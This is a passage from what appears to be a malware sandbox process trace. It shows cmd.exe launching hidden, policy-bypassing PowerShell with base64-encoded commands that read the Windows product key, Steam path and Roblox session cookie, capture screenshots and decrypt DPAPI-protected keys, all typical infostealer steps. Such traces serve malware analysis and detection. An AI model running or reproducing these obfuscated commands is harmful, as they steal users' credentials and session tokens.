bgBcAEQAZQBmAGEAdQBsAHQAUAByAG8AZAB1AGMAdABLAGUAeQAnACAALQBOAGEAbQBlACAAUAByAG8AZAB1AGMAdABJAGQAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuAFAAcgBvAGQAdQBjAHQASQBkAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2900
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5320
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2484
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4916
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwAyAHYAZwA5ADcAMwBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwAyAHYAZwA5ADcAMwBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4204
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5848
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3344
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3484
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3844
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBGAFEATABPAHIAeQBLADMAcABqAFYASwAwADIASwBVAEUAbQB2AGIARwBFAEIAMgBvAHYASABXAFoATgBkAGEARwBFAHMAUwBuAE0AMwBqAFoAeABsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEAUQBtADYAdABMAEMAVgA3ADQAQwBWAFMAbQBGAGcATgBiAE4ANwBnADIANABsAFIAMQBaADkAVgAxAHAAOQBXADMAdgBvAGoAVQBVAG4AUwBOAEcAawBBAEUAQQBBAEcAeAB2AGsAZgB5AEUAOAAvAEQAVABrAE0AUgBDADgAbQAzAEEAcgBUADAAZgA3AHEANAB5AHoAeABEAFYATABQAEMASgBGADUAZQBKAEsAaABGAHYAYgBqAGkATABPAHYAYQB6AGIAMABRADEANgA3AGoASgBFAEMAWQBRADAANAB0AFIAMwB6AEMAeABqAHQALwBTAGYAUABJADQAMABBAGEASABMADcAVgA3AHAAUgB2ADgARwBzAGUAZQBRAEsAMgBKAFYAOQBkAEQAbQBIAFIAYwBZAFgANwA3ADgAYgBOAHEAVgBrAGkAcwBXAEIARQBTAEwANQBUAHMASQBlAEEAbAA0AE0AdwBhADIAMwBVAEcAWAAwADMAdAA5ADIAbQBIAFkAbgB4AHgAMgAzAG8AbgAvAFIAVgBFAEkAaABJADUAVABkADEATwBxAG0AdQAzAFEAbwB3AHcANQBBAEgAZABGAHkAaABTAHkAbgByAE8ASABWAFAAbgBSAEwAYgA3AHoAYgBIAHEAQQA2AC8AdABOAFcAQQA3ADQAbABjAGkARwBOAE8AegBCAGwAWQBZAFIAKwBKAEwAZABhADgAcgBKAGUANgA2AEcAMgBnADgANgBIAGYAdQBNAFYAQgBlAEUAOABZAHMAZQBCAG8ASwBVAFgAMwAzAGoATgBpAGwAeABKAEEAcgBkAEcAYwBvAGwAbABvAHYARQBnAGsAUwBmAEkAYQBXAGkAUgAxAGEAQQA1AEEAOQB1AFAAQwBvAEEATQBxAFkAdAAxAGQARQBOAFYANQBUAGMAcQBCADYANABxAE0ARABOAC8AdABPAEcARwBJAFoAaABKAC8AcQA4ADIAWABGAGIANQBvAEwATgBEAEQAdgBmAGYAKwBwAFYAegBPAGwAUgBCADkASQA3AEoAQgBBAGcAZQA2AEQAdQBwAGsAZgBHAEQASgBuAGQAegBHAEEAMgBSAFEAawBFAHEANQBjAHQAZQBnAGgAYgA2AG0AbwBrAFgAWQBsAGkAYwBxAEMAdABVAEcAUQBpACsAWgBUAEYAQgBYAEwAaQBiAEYALwBGAGkAdQA3AGcAOABxADkAZgBGAE8ANgAxAE0AOQBYAGQAYQBnAE0AVQBSAEwATABlAFUAUwAzAHEAUgBqAE8AUgA0AHIASQBvAEEAWABQAHQAawBsAEcAeQA3AFMAUQBvAEcARgAzAGMAagBXAFoAOQByAHUAaQBzAHoAagB3AGMAMABNAGoALwA0AHQANABYAGIAZQBtADAAbQB1AHAAbwA5AG8AOQArAHUANwA4AGgAcQA2AFkATABvAGEAZgBFAC8ANgBtAHYATABWAHMAdQBVAE8AagA5AGEAZgB0AGgATwAwAEwAawBZAGoASgB3AFkAQgBGAFQAZgB0AEEAQQBBAEEAQQBpAFYASABnAEEARQBOAEMANgBFAE8ATQBNADcAeQBFAE8ASQAxADUAMABHAEwALwBzAFQAdAB0AC8ASwB2AGEARQBiAGIAUAB3AE4ATABnAHAANgBsAGIAZgA4AGUAZgB1AHgATwBQAEMAZwB5AHgAWQBtAC8AMQBBAFYAbwBEAGQAZQBNAGcAVQBlAHEAegB0AEEASwBGAHgATABsAGYAegBkAHUAYQBrAGcAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5792
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand 